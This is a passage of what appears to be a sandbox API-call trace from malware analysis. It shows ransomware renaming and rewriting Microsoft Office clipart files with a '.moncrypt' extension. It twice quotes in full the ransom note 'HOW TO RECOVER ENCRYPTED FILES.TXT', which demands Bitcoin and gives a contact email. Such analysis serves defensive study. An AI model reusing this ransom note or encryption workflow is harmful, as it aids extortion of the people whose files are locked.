office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.moncrypt")) returned 1 [0060.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.010] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.011] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1d74 [0060.011] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.011] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1d74, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1d74, lpOverlapped=0x0) returned 1 [0060.012] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.013] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.013] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.013] GlobalUnlock (hMem=0x44000c) returned 0 [0060.013] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.013] GlobalUnlock (hMem=0x440004) returned 0 [0060.013] GlobalLock (hMem=0x440004) returned 0x550170 [0060.013] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.013] GlobalUnlock (hMem=0x440004) returned 0 [0060.013] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.013] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1d90, lpOverlapped=0x0) returned 1 [0060.013] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.013] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.025] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.025] CloseHandle (hObject=0x188) returned 1 [0060.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.026] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.026] CloseHandle (hObject=0x188) returned 1 [0060.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.026] GlobalLock (hMem=0x440004) returned 0x550170 [0060.026] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.026] GlobalUnlock (hMem=0x440004) returned 0 [0060.026] GlobalLock (hMem=0x440004) returned 0x550170 [0060.026] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.026] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.026] GlobalUnlock (hMem=0x440004) returned 0 [0060.026] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.026] GlobalUnlock (hMem=0x44000c) returned 0 [0060.027] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.027] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.027] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.027] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.027] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.027] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.027] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.027] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.027] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.027] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.027] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.027] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.027] CloseHandle (hObject=0x188) returned 1 [0060.028] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0060.028] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.028] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.028] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.028] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.028] GlobalUnlock (hMem=0x44000c) returned 0 [0060.028] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.028] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.028] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.028] GlobalUnlock (hMem=0x44000c) returned 0 [0060.028] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.028] GlobalUnlock (hMem=0x440004) returned 0 [0060.028] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.028] CharLowerBuffW (in: lpsz="AN02559_.WMF", cchLength=0xc | out: lpsz="an02559_.wmf") returned 0xc [0060.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.029] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN02559_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.029] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.029] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.029] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF", dwFileAttributes=0x20) returned 1 [0060.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.moncrypt")) returned 1 [0060.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.031] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.031] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x19e8 [0060.031] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.031] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x19e8, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x19e8, lpOverlapped=0x0) returned 1 [0060.033] GlobalLock (hMem=0x440004) returned 0x550170 [0060.033] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.033] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.033] GlobalUnlock (hMem=0x440004) returned 0 [0060.033] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.033] GlobalUnlock (hMem=0x44000c) returned 0 [0060.033] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.033] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.033] GlobalUnlock (hMem=0x44000c) returned 0 [0060.033] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.033] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1a00, lpOverlapped=0x0) returned 1 [0060.033] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.034] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.045] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.045] CloseHandle (hObject=0x188) returned 1 [0060.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.046] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.046] CloseHandle (hObject=0x188) returned 1 [0060.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.046] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.046] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.046] GlobalUnlock (hMem=0x44000c) returned 0 [0060.046] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.047] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.047] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.047] GlobalUnlock (hMem=0x44000c) returned 0 [0060.047] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.047] GlobalUnlock (hMem=0x440004) returned 0 [0060.047] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.047] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.047] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.047] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.047] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.047] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.048] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.048] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.048] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.048] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.048] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.048] CloseHandle (hObject=0x188) returned 1 [0060.048] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0060.048] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.048] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.048] GlobalLock (hMem=0x440004) returned 0x550170 [0060.048] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.048] GlobalUnlock (hMem=0x440004) returned 0 [0060.048] GlobalLock (hMem=0x440004) returned 0x550170 [0060.048] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.048] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.048] GlobalUnlock (hMem=0x440004) returned 0 [0060.048] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.048] GlobalUnlock (hMem=0x44000c) returned 0 [0060.048] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.049] CharLowerBuffW (in: lpsz="AN02724_.WMF", cchLength=0xc | out: lpsz="an02724_.wmf") returned 0xc [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 